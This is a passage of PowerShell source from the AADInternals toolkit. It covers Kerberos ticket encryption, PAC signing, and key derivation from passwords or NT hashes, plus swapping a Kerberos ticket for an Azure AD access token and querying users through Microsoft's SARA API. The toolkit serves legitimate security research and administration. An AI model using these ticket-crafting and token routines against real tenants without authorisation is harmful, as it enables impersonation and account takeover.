"https://login.microsoftonline.us" } "DODCON" # GCC-High { return "https://login.microsoftonline.us" } default # Commercial/GCC { return "https://login.microsoftonline.com" } } } }
Kerberos_utils.ps1
AADInternals-0.9.4
# Gets sids from AD or AAD function Get-Sids{ Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$SearchString, [Parameter(Mandatory=$False)] [String]$UserPrincipalName ) Process { # If we got Access Token, search the Azure AD if(![String]::IsNullOrEmpty($AccessToken)) { # Get all Azure AD users, filtered users, or just one with userPrincipalName $AADUsers = Get-AADUsers -AccessToken $AccessToken -SearchString $SearchString -UserPrincipalName $UserPrincipalName $output=@() if($AADUsers -ne $null) { foreach($AADUser in $AADUsers) { $properties=@{} $properties.UserPrincipalName = $AADUser.UserPrincipalName $properties.Sid = $AADUser.onPremisesSecurityIdentifier $properties.FullName = $AADUser.displayName $output+=New-Object PSObject -Property $properties } } else { Write-Error "$UserPrincipalName not found!" return } $output } else { # Make the filter if search string is given if(![string]::IsNullOrEmpty($SearchString)) { $Filter = "Name LIKE '$SearchString%' or Fullname LIKE '$SearchString%'" } # If userprincipalname is given, we can't find user with Get-WmiObject so we need to use the DirectorySearcher elseif(![string]::IsNullOrEmpty($UserPrincipalName)) { $ADSearch = New-Object System.DirectoryServices.DirectorySearcher $ADSearch.Filter="UserPrincipalName=$UserPrincipalName" $AADUser=$ADSearch.FindOne() if($AADUser -eq $null) { Write-Error "$UserPrincipalName not found!" return } $bSID=$AADUser.Properties.objectsid[0] $SID=(New-Object System.Security.Principal.SecurityIdentifier($bSID,0)).Value $properties=@{} $properties.UserPrincipalName = $UserPrincipalName $properties.Sid = $Sid $properties.FullName = $AADUser.Properties.displayname[0] return New-Object PSObject -Property $properties } # Query the AD using Get-WmiObject so we don't have to parse each object as with DirectorySearcher Get-WmiObject win32_useraccount -Filter $Filter | Where-Object Disabled -eq $false | Select-Object domain,name,fullname,sid } } } # Converts bytearray to datetime # Aug 31st 2019 function DateBytes2Date { Param( [Parameter(Mandatory=$True)] [Byte[]]$DateBytes ) Process { return [datetime]::FromFileTimeUtc([System.BitConverter]::ToInt64($DateBytes,0)) } } # Converts datetime to bytearray # Aug 31st 2019 function Date2DateBytes { Param( [Parameter(Mandatory=$True)] [DateTime]$Date ) Process { return [System.BitConverter]::GetBytes($Date.ToFileTimeUtc()) } } # Converts "20190829080935Z" type of strings to datetime # Aug 31st 2019 function DateString2Date { Param( [Parameter(Mandatory=$True)] [String]$DateString ) Process { $y = $DateString.Substring(0,4) $m = $DateString.Substring(4,2) $d = $DateString.Substring(6,2) $h = $DateString.Substring(8,2) $mm = $DateString.Substring(10,2) $s = $DateString.Substring(12,2) $DateString = "$y-$m-$d $h`:$mm`:$s`Z" #return Get-Date -Year $y -Month $m -Day $d -Hour $h -Minute $mm -Second $s -Millisecond 0 return Get-Date -Date $DateString } } # Converts datetime to "20190829080935Z" type of string # Aug 31st 2019 function Date2DateString { Param( [Parameter(Mandatory=$True)] [DateTime]$Date ) Process { return $Date.ToUniversalTime().ToString("yyyyMMddHHmmssZ") } } # Converts datetime to "20190829080935Z" type of string to bytes # Aug 31st 2019 function Date2DateStringBytes { Param( [Parameter(Mandatory=$True)] [DateTime]$Date ) Process { return [text.encoding]::ASCII.GetBytes((Date2DAteString $Date)) } } # Encrypts the kerberos ticket using the given password (=key) function Encrypt-Kerberos { Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$Data, [Parameter(Mandatory=$False)] [byte[]]$Salt, [Parameter(Mandatory=$False)] [ValidateSet('Ticket','Authenticator','APRepPart','EncKrbPrivPart')] [String]$Type="Ticket", [Parameter(Mandatory=$False)] [ValidateSet('RC4','AES')] [String]$Crypto="RC4" ) Process { if($Crypto -eq "RC4") { if(!$Salt) { if($Type -eq "Ticket") { [byte[]]$Salt=@(0x02, 0x00, 0x00, 0x00) } elseif($Type -eq "Authenticator") { [byte[]]$Salt=@(0x0B, 0x00, 0x00, 0x00) } elseif($Type -eq "APRepPart") { [byte[]]$Salt=@(0x0C, 0x00, 0x00, 0x00) } elseif($Type -eq "EncKrbPrivPart") { [byte[]]$Salt=@(0x0D, 0x00, 0x00, 0x00) } else { Throw "Unsupported decryption type" } } $k1=$Key # Confounder (8 bytes) $stuff = Get-RandomBytes -Bytes 8 $hmac= [System.Security.Cryptography.HMACMD5]::new($k1) $k2=$hmac.ComputeHash($Salt) # Salt [byte[]]$plainText = $stuff + $Data $hmac = [System.Security.Cryptography.HMACMD5]::new($k2) $checksum = $hmac.ComputeHash($plainText) $k3=$hmac.ComputeHash($checksum) [byte[]]$cipherText = Get-RC4 -Key $k3 -Data $plaintext [byte[]]$cipherText = $checksum + $cipherText } else { $Ke = DK -Key $Key -Usage Ticket -KeyDerivationMode Ke # Confounder (16 bytes) $stuff = Get-RandomBytes -Bytes 16 [byte[]]$plainText = $stuff + $Data [byte[]]$cipherText = AES_CTS_Encrypt -PlainText $plainText -Key $Ke # Calculate checksum $ki = DK -Key $Key -Usage Ticket -KeyDerivationMode Ki $hmacsha1 = [System.Security.Cryptography.HMACSHA1]::new($ki) $checksum = ($hmacsha1.ComputeHash($plaintext))[0..11] [byte[]]$cipherText = $cipherText+$checksum } return $cipherText } } # Decrypts Kerberos data # Mar 26th 2021 function Decrypt-Kerberos { Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$Data, [Parameter(Mandatory=$False)] [byte[]]$Salt, [Parameter(Mandatory=$False)] [ValidateSet('Ticket','Authenticator','APRepPart','EncKrbPrivPart')] [String]$Type="Ticket", [Parameter(Mandatory=$False)] [ValidateSet('RC4','AES')] [String]$Crypto="RC4" ) Process { if($Crypto -eq "RC4") { if(!$Salt) { if($Type -eq "Ticket") { [byte[]]$Salt=@(0x02, 0x00, 0x00, 0x00) } elseif($Type -eq "Authenticator") { [byte[]]$Salt=@(0x0B, 0x00, 0x00, 0x00) } elseif($Type -eq "APRepPart") { [byte[]]$Salt=@(0x0C, 0x00, 0x00, 0x00) } elseif($Type -eq "EncKrbPrivPart") { [byte[]]$Salt=@(0x0D, 0x00, 0x00, 0x00) } else { Throw "Unsupported decryption type" } } $k1=$Key $hmac= [System.Security.Cryptography.HMACMD5]::new($k1) $k2=$hmac.ComputeHash($Salt) # Salt [byte[]]$cipher = $Data[16..$($Data.Count-1)] $hmac = [System.Security.Cryptography.HMACMD5]::new($k2) $checksum = $Data[0..15] $k3=$hmac.ComputeHash($checksum) [byte[]]$plainText = Get-RC4 -Key $k3 -Data $cipher $compare = $hmac.ComputeHash($plainText) $plainText = [byte[]]$plainText[8..$($plainText.Count-1)] } else { $Ke = DK -Key $Key -Usage Ticket -KeyDerivationMode Ke [byte[]]$plainText = AES_CTS_Decrypt -CipherText $Data[0..$($Data.Count - 13)] -Key $Ke # Calculate checksum $ki = DK -Key $Key -Usage Ticket -KeyDerivationMode Ki $hmacsha1 = [System.Security.Cryptography.HMACSHA1]::new($ki) $compare = ($hmacsha1.ComputeHash($plainText))[0..11] $checksum = $Data[$($plainText.Count)..$($plainText.Count+12)] # Strip the confounder $plainText = $plainText[16..($plainText.Count)] } if(@(Compare-Object $checksum $compare -SyncWindow 0).Length -gt 0) { Write-Warning "Checksum mismatch" } return $plainText } } # Get DER Length Bytes function Get-DERLengthBytes { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { $length = $Data.Length if($length -lt 128) { return $length } elseif($length -lt 256) { # We return 1000 0010 = multibyte (1000), one bytes (0001) return @(0x81, $length) } else { $secondByte = $length % 256 $firstByte = ($length - $secondByte)/256 # We return 1000 0010 = multibyte (1000), two bytes (0010) return @(0x82, $firstByte, $secondByte) } } } # Returns given der tag, length bytes, and the given data function Add-DERTag { Param( [Parameter(Mandatory=$True)] [byte]$Tag, [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { $output = @($Tag) $output += Get-DERLengthBytes($Data) $output += $Data return $output } } function Add-DERSet { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { $output = @(0x31) $output += Get-DERLengthBytes($Data) $output += $Data return $output } } function Add-DERSequence { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { $output = @(0x30) $output += Get-DERLengthBytes($Data) $output += $Data return $output } } function Add-DERUnicodeString { Param( [Parameter(Mandatory=$True)] [String]$Text, [byte]$Tag=0x04, [switch]$LE ) Process { $data = [system.text.encoding]::Unicode.GetBytes($Text) # swap the bytes (little-endian) if($LE) { for($a = 0; $a -lt $data.Length ; $a+=2) { $t=$data[$a] $data[$a]=$data[$a+1] $data[$a+1]=$t } } $output = @($Tag) $output += Get-DERLengthBytes($data) $output += $data return $output } } function Add-DERUtf8String { Param( [Parameter(Mandatory=$True)] [String]$Text, [byte]$Tag=0x1B ) Process { $data = [system.text.encoding]::UTF8.GetBytes($Text) $output = @($Tag) $output += Get-DERLengthBytes($data) $output += $data return $output } } function Add-DERIA5String { Param( [Parameter(Mandatory=$True)] [String]$Text, [byte]$Tag=0x16 ) Process { $data = [system.text.encoding]::ASCII.GetBytes($Text) $output = @($Tag) $output += Get-DERLengthBytes($data) $output += $data return $output } } function Add-DERInteger { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { return Add-DERTag -Tag 0x02 -Data $Data } } function Add-DERBitString { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { return Add-DERTag -Tag 0x03 -Data $Data } } function Add-DEROctetString { Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { return Add-DERTag -Tag 0x04 -Data $Data } } function Add-DERObjectIdentifier { Param( [Parameter(Mandatory=$True)] [String]$ObjectIdentifier ) Process { return Add-DERTag -Tag 0x06 -Data (Convert-OidToBytes -Oid $ObjectIdentifier) } } function Add-DERNull { Process { return 0x05 } } function Add-DERDate { Param( [Parameter(Mandatory=$True)] [DateTime]$Date ) Process { return Add-DERUtf8String -Text $Date.ToUniversalTime().ToString("yyyyMMddHHmmssZ") -Tag 0x18 } } function Add-DERBoolean { Param( [Parameter(Mandatory=$True)] [bool]$Value ) Process { if($Value) { return @(0x01, 0xFF) } else { return @(0x01, 0x00) } } } # Gets an accesstoken using kerberos ticket # Aug 25th 2019 function Get-AccessTokenWithKerberosTicket { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$KerberosTicket, [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$Resource="https://graph.windows.net", [Parameter(Mandatory=$False)] [String]$ClientId="1b730954-1685-4b74-9bfd-dac224a7b894", [Parameter(Mandatory=$False)] [String]$Tenant="common" ) Process { $requestId = (New-Guid).ToString() # Step 1: Get desktop sso token using kerberos ticket $url="https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/windowstransport?client-request-id=$requestId" $body=@" <?xml version='1.0' encoding='UTF-8'?> <s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust'> <s:Header> <wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action> <wsa:To s:mustUnderstand='1'>https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/windowstransport?client-request-id=$requestId</wsa:To> <wsa:MessageID>urn:uuid:$((New-Guid).ToString())</wsa:MessageID> </s:Header> <s:Body> <wst:RequestSecurityToken Id='RST0'> <wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType> <wsp:AppliesTo> <wsa:EndpointReference> <wsa:Address>urn:federation:MicrosoftOnline</wsa:Address> </wsa:EndpointReference> </wsp:AppliesTo> <wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType> </wst:RequestSecurityToken> </s:Body> </s:Envelope> "@ $headers = @{ "SOAPAction"="http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue" "Authorization" = "Negotiate $KerberosTicket" } try { $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Headers $headers -Body $body } catch { Write-Error $_.Exception return } [xml]$message = $response $dssoToken = $message.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken # Step 2: get the access token using dssoToken $samlAssertion="<saml:Assertion xmlns:saml=`"urn:oasis:names:tc:SAML:1.0:assertion`"><DesktopSsoToken>$dssoToken</DesktopSsoToken></saml:Assertion>" $B64samlAssertion=[convert]::ToBase64String([text.encoding]::UTF8.GetBytes($samlAssertion)) $body=@{ "grant_type" = "urn:ietf:params:oauth:grant-type:saml1_1-bearer" "assertion" = $B64samlAssertion "client_id" = $ClientId "resource" = $Resource "tbidv2" = "" # Optional, see https://tools.ietf.org/html/draft-ietf-tokbind-protocol-19 "scope" = "openid" "redirect_uri" = Get-AuthRedirectUrl -ClientId $ClientId -Resource $Resource # Originally: "ms-appx-web://Microsoft.AAD.BrokerPlugin/$clientId" "win_ver" = "10.0.17763.529" "windows_api_version" = "2.0" "msafed" = "0" } try { $response = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token" -Method Post -Body $body } catch { if(![String]::IsNullOrEmpty($_.ErrorDetails.Message)) { $error = $_.ErrorDetails.Message.ToString() | ConvertFrom-Json Write-Error $error.error_description return } else { Write-Error $_.exception return } } $token = $response.content | ConvertFrom-Json # Return return $token } } # Calculate the server checksum of PAC function Get-ServerSignature { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { $hmacmd5 = [System.Security.Cryptography.HMACMD5]::new([byte[]]$key) $ksign = $hmacmd5.ComputeHash([system.text.Encoding]::ASCII.GetBytes("signaturekey")+@(0x00)) $md5 = [System.Security.Cryptography.MD5]::Create() $tmp = $md5.ComputeHash(@(0x11, 0x00 , 0x00, 0x00)+$Data) $hmacmd5 = [System.Security.Cryptography.HMACMD5]::new([byte[]]$ksign) $signature = $hmacmd5.ComputeHash($tmp) return $signature } } function Get-NFold { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Data, [Parameter(Mandatory=$True)] [int]$Size ) Process { $inBytesSize = $Data.Length $outBytesSize = $size $a = $outBytesSize $b = $inBytesSize while ($b -ne 0) { $c = $b $b = $a % $b $a = $c } $lcm = ($outBytesSize * $inBytesSize) / $a $outBytes = New-Object byte[] $outBytesSize $tmpByte = 0 for ($i = $lcm - 1; $i -ge 0; $i--) { $msbit = (($inBytesSize -shl 3) - 1) $msbit += ((($inBytesSize -shl 3) + 13) * ([math]::Truncate($i / $inBytesSize))) $msbit += (($inBytesSize - ($i % $inBytesSize)) -shl 3) $msbit %= $inBytesSize -shl 3 $rst = $Data[($inBytesSize - 1 - ($msbit -shr 3)) % $inBytesSize] -band 0xff $rst2 = $Data[($inBytesSize - ($msbit -shr 3)) % $inBytesSize] -band 0xff $msbit = ((($rst -shl 8) -bor ($rst2)) -shr (($msbit -band 7) + 1)) -band 0xff $tmpByte += $msbit $msbit = $outBytes[$i % $outBytesSize] -band 0xff $tmpByte += $msbit $outBytes[$i % $outBytesSize] = [byte]($tmpByte -band 0xff) $tmpByte = $tmpByte -shr 8 } if ($tmpByte -ne 0) { for ($i = $outBytesSize - 1; $i -ge 0; $i--) { $tmpByte += $outBytes[$i] -band 0xff $outBytes[$i] = [byte]($tmpByte -band 0xff) $tmpByte = $tmpByte -shr 8 } } return $outBytes } } # Encrypts/Decrypts the given plaintext using the given key # Mar 29th 2021 function AES_CTS_Transform { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Data, [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$False)] [byte[]]$InitialVector = [byte[]](0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0), [Parameter(Mandatory=$True)] [ValidateSet('Encrypt','Decrypt')] [String]$Mode ) Process { [System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create() $AES.Padding = "None" $AES.Mode = "CBC" if($Mode -eq 'Encrypt') { $transformer = $AES.CreateEncryptor($Key,$InitialVector) } else { $transformer = $AES.CreateDecryptor($Key,$InitialVector) } # Create a memory stream and write the cipher text to it through CryptoStream $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($data,0,$data.Count) $cs.Close() $cs.Dispose() $transformedData = $ms.ToArray() $ms.Close() $ms.Dispose() return $transformedData } } # Encrypts the given plaintext using the given key # Mar 29th 2021 function AES_CTS_Encrypt { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$PlainText, [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$False)] [byte[]]$InitialVector = [byte[]](0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0) ) Process { $PadSize = 16 - ($PlainText.Count % 16) if($PlainText.Count -lt 16) { return $PlainText } if($PadSize -eq 16) { if($PlainText.Count -gt 16) { $InitialVector = [byte[]](0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0) } $data = $PlainText } else { $data = [byte[]]@($PlainText + (New-Object byte[] $PadSize)) } $encData = AES_CTS_Transform -Data $data -Key $Key -InitialVector $InitialVector -Mode Encrypt if($PlainText.Count -ge 32) { $encData = SwapLastTwoBlocks -Data $encData } $result = New-Object byte[] $PlainText.Count [Array]::Copy($encData, 0, $result, 0, $PlainText.Count) return $result } } # Decrypts the given plaintext using the given key # Mar 29th 2021 function AES_CTS_Decrypt { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$CipherText, [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$False)] [byte[]]$InitialVector = [byte[]](0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0) ) Process { $PadSize = 16 - ($CipherText.Count % 16) if($CipherText.Count -lt 16) { return $CipherText } if($PadSize -eq 16) { $data = $CipherText if($data.Count -ge 32) { $data = SwapLastTwoBlocks -Data $data } if($data.Count -gt 16) { $InitialVector = [byte[]](0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0) } $decData = AES_CTS_Transform -Data $data -Key $Key -InitialVector $InitialVector -Mode Decrypt return $decData } else { $depadded = New-Object byte[] 16 [Array]::Copy($CipherText,($CipherText.Count - 32 + $PadSize),$depadded,0,16) [byte[]]$dn = AES_CTS_Transform -Data $depadded -Key $Key -InitialVector $InitialVector -Mode Decrypt $data = New-Object byte[] ($CipherText.Count + $PadSize) [Array]::Copy($CipherText,0,$data,0,$CipherText.Count) [Array]::Copy($dn,($dn.Count - $PadSize),$data,$CipherText.Count,$PadSize) $data = SwapLastTwoBlocks -Data $data [byte[]]$decData = AES_CTS_Transform -Data $data -Key $Key -InitialVector $InitialVector -Mode Decrypt $result = New-Object byte[] $CipherText.Count [Array]::Copy($decData,0,$result,0,$CipherText.Count) return $result $data = [byte[]]@($PlainText + (New-Object byte[] $PadSize)) } [System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create() $AES.Padding = "None" $AES.Mode = "CBC" $encryptor = $AES.CreateEncryptor($Key,$InitialVector) # Create a memory stream and write the cipher text to it through CryptoStream $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$encryptor,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($data,0,$data.Count) $cs.Close() $cs.Dispose() $encData = $ms.ToArray() $ms.Close() $ms.Dispose() if($PlainText.Count -ge 32) { $PlainText = SwapLastTwoBlocks -Data $PlainText } $result = New-Object byte[] $PlainText.Count [Array]::Copy($encData, 0, $result, 0, $PlainText.Count) return $result } } # Swaps last two blocks of the given data. function SwapLastTwoBlocks { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Data ) Process { for($i = 0 ; $i -lt 16; $i++) { [byte]$temp = $data[$i+$data.Count-32] $data[$i + $Data.Count -32] = $data[$i + $Data.Count -16] $data[$i + $Data.Count -16] = $temp } return $Data } } # Random-octect generation function # https://tools.ietf.org/html/rfc3961 # Mar 28th 021 function DR { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(Mandatory=$True)] [byte[]]$Constant, [Parameter(Mandatory=$False)] [int]$KeySize = 32, [Parameter(Mandatory=$False)] [int]$BlockSize = 16 ) Process { if($KeySize -ne $Key.Count) { Throw "Invalid key size ($($Key.count) bytes), expected $KeySize bytes)" } $keyBytes = New-Object byte[] $key.Count if($Constant.Count -ne $BlockSize) { $Ki = Get-NFold -Data $Constant -Size $BlockSize } else { $ki = $Constant } $n = 0 do { $ki = AES_CTS_Encrypt -PlainText $ki -Key $Key if(($n + $BlockSize) -ge $KeySize) { [Array]::Copy($Ki,0,$KeyBytes,$n,$KeySize-$n) break } [Array]::Copy($Ki,0,$KeyBytes,$n,$BlockSize) $n += $BlockSize }while($n -lt $KeySize) return $keyBytes } } # Key derivation function # https://tools.ietf.org/html/rfc3961 # Mar 28th 021 function DK { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Key, [Parameter(ParameterSetName='KDF',Mandatory=$True)] [ValidateSet('Unknown','PaEncTs','Ticket','EncAsRepPart','TgsReqAuthDataSessionKey','TgsReqAuthDataSubSessionKey','PaTgsReqChecksum','PaTgsReqAuthenticator','EncTgsRepPartSessionKey','EncTgsRepPartSubSessionKey','AuthenticatorChecksum','ApReqAuthenticator','EncApRepPart','EncKrbPrivPart','EncKrbCredPart','KrbSafeChecksum','OtherEncrypted','PaForUserChecksum','KrbError','AdKdcIssuedChecksum','MandatoryTicketExtension','AuthDataTicketExtension','Seal','Sign','Sequence','AcceptorSeal','AcceptorSign','InitiatorSeal','InitiatorSign','PaServerReferralData','SamChecksum','SamEncTrackId','PaServerReferral','SamEncNonceSad','PaPkInitEx','AsReq','FastReqChecksum','FastEnc','FastRep','FastFinished','EncChallengeClient','EncChallengeKdc','DigestEncrypt','DigestOpaque','Krb5SignedPath','CanonicalizedPath','HslCookie')] [string]$Usage = "Ticket", [Parameter(ParameterSetName='KDF',Mandatory=$True)] [ValidateSet('Kc','Ke','Ki')] [string]$KeyDerivationMode = 'Ke', [Parameter(ParameterSetName='Constant',Mandatory=$True)] [byte[]]$Constant ) Begin { $KeyDerivationModes = @{ 'Kc' = 0x99 'Ke' = 0xAA 'Ki' = 0x55 } $KeyUsages = @{ Unknown = 0 PaEncTs = 1 Ticket = 2 EncAsRepPart = 3 TgsReqAuthDataSessionKey = 4 TgsReqAuthDataSubSessionKey = 5 PaTgsReqChecksum = 6 PaTgsReqAuthenticator = 7 EncTgsRepPartSessionKey = 8 EncTgsRepPartSubSessionKey = 9 AuthenticatorChecksum = 10 ApReqAuthenticator = 11 EncApRepPart = 12 EncKrbPrivPart = 13 EncKrbCredPart = 14 KrbSafeChecksum = 15 OtherEncrypted = 16 PaForUserChecksum = 17 KrbError = 18 AdKdcIssuedChecksum = 19 MandatoryTicketExtension = 20 AuthDataTicketExtension = 21 Seal = 22 Sign = 23 Sequence = 24 AcceptorSeal = 22 AcceptorSign = 23 InitiatorSeal = 24 InitiatorSign = 25 PaServerReferralData = 22 SamChecksum = 25 SamEncTrackId = 26 PaServerReferral = 26 SamEncNonceSad = 27 PaPkInitEx = 44 AsReq = 56 FastReqChecksum = 50 FastEnc = 51 FastRep = 52 FastFinished = 53 EncChallengeClient = 54 EncChallengeKdc = 55 DigestEncrypt = -18 DigestOpaque = -19 Krb5SignedPath = -21 CanonicalizedPath = -23 HslCookie = -25 } } Process { if($Constant) { # Generate a key return DR -Key $Key -KeySize ($Key.Count) -Constant $Constant } else { # Generate a constant from Key Usage and Key Derivation Method $Constant = New-Object byte[] 5 $bytes = [System.BitConverter]::GetBytes([int32]$KeyUsages[$Usage]) [array]::Reverse($bytes) [Array]::Copy($bytes,$Constant,4) $constant[4] = [byte]$KeyDerivationModes[$KeyDerivationMode] return DK -Key $Key -Constant $constant } } } # Aligns sizes in PAC Function Align-Size { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [int]$Mask, [Parameter(Mandatory=$True)] [int]$Size ) Process { $diff = $Size % $Mask if($diff -ne 0) { $Size += 8 - $diff } return $Size } } # Returns null-bytes used to align data fields in PAC Function Get-AlignBytes { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [int]$Mask, [Parameter(Mandatory=$True)] [int]$Size ) Process { $diff = $Size % $Mask if($diff -ne 0) { return New-Object byte[] (8-$diff) } else { return } } } # Generates Kerberos encryption key # Apr 1st 2021 function New-KerberosKey { Param( [Parameter(Mandatory=$False)] [String]$Password, [Parameter(Mandatory=$False)] [String]$Hash, [Parameter(Mandatory=$False)] [ValidateSet('RC4','AES')] [String]$Crypto="RC4" ) Process { if([string]::IsNullOrEmpty($Password) -and [string]::IsNullOrEmpty($Hash)) { Throw "Unable to create Kerberos encryption key. Either Password or Hash must be provided" } if($Crypto -eq "RC4") { if([string]::IsNullOrEmpty($Password)) { $key = Convert-HexToByteArray -HexString $Hash } else { $key = Get-MD4 -String $Password -AsByteArray } } elseif($Crypto -eq "AES") { if([string]::IsNullOrEmpty($Password)) { $Key = Convert-HexToByteArray -HexString $Hash } else { $iterations = 4096 $pwdBytes = [text.encoding]::UTF8.GetBytes($Password) $pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes([byte[]]$pwdBytes,$Salt,$iterations) $random = $pbkdf2.GetBytes(32) $Key = DK -Key $random -Constant ([text.encoding]::UTF8.GetBytes("kerberos")) } } else { Throw "Unsupported crypto: $Crypto" } return $Key } }
SARA.ps1
AADInternals-0.9.4
# This script contains functions used in Microsoft Support and Recovery Assistant (SARA) # Sep 23rd 2021 function Get-SARAUserInfo { <# .SYNOPSIS Gets user information using SARA API .DESCRIPTION Gets user information using Microsoft Support and Recovery Assistant (SARA) API .Parameter AccessToken Access Token .Example $at=Get-AADIntAccessTokenForSARA PS C:\>Get-AADIntSARAUserInfo -AccessToken $at AnalyzerName : AnalysisRule, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.GetUserAnalyzer, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets, Version=16.0.3144.0, Culture= neutral, PublicKeyToken=31bf3856ad364e35 AnalyzerDesc : Attempting to get information about user "[email protected]". StartTime : 2019-07-08T12:29:40.4911399Z Duration : 00:00:51.1166849 CoreDuration : 00:00:51.1166849 WaitingDuration : 00:00:00 TotalChildrenDuration : 00:00:00 TotalWaitingDuration : 00:00:00 ParentId : 00000000-0000-0000-0000-000000000000 Value : true ResultTitle : Extracting information about Office 365 user is completed. ResultTitleId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserComplete UserMessage : Successfully got the user information for "[email protected]". UserMessageId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserSuccessDesc AdminMessage : SupportMessage : IsMessageShown : False GenericInfo : Severity : 2 OverridesChildren : False ProblemId : 00000000-0000-0000-0000-000000000000 TimeCached : 0001-01-01T00:00:00 SaraSymptomId : 00000000-0000-0000-0000-000000000000 SaraWorkflowRunId : 00000000-0000-0000-0000-000000000000 SaraSymptomRunId : 00000000-0000-0000-0000-000000000000 SaraSessionId : 00000000-0000-0000-0000-000000000000 Id : d5b4c239-7619-4367-9ccb-e9fe2fe01e23 DisplayName : Demo USer FirstName : Demo Guid : 67a93665-decb-4058-b42a-271d41c47c61 Id : Identity : EURP185A001.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/demoo365life4.onmicrosoft.com/AdminO365life IsDirSynced : False IsValid : True LastName : User MicrosoftOnlineServicesID : [email protected] Name : DemoUser NetID : 401320004BA7A415 RecipientType : UserMailbox RecipientTypeDetails : UserMailbox UserPrincipalName : [email protected] WindowsEmailAddress : [email protected] WindowsLiveID : [email protected] IsHybridTenant : False Forest : EURP185.PROD.OUTLOOK.COM #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$UserName, [Parameter(Mandatory=$False)] [ValidateSet('NotSet','HrcCloud','HrcCmd','Sara','MsftSupportModeSara','SaraCloud','QTest')] [String]$ExecutionEnvironment='SaraCloud' ) Begin { } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com" if(!$UserName) { $userName = (Read-Accesstoken $AccessToken).upn } $userInformation = [ordered]@{"UserName" = $UserName} # # TenantUserInfo # Write-Verbose "TenantUserInfo" $body=@{ "Symptom" = "TenantUserInfo" "RequestTimeoutInMs" = 180000 "Parameters" = @( @{ "Name" = "AffectedUser" "Value" = $UserName #.Split("@")[1] "ComplianceClassification" = "Identifiable" } @{ "Name" = "Symptom" "Value" = "TenantUserInfo" "ComplianceClassification" = "Identifiable" } @{ "Name" = "ScenarioSymptom" "Value" = "TenantUserInfo" "ComplianceClassification" = "Identifiable" } @{ "Name" = "UserPuid" "Value" = "" "ComplianceClassification" = "Identifiable" } @{ "Name" = "CorrelationId" "Value" 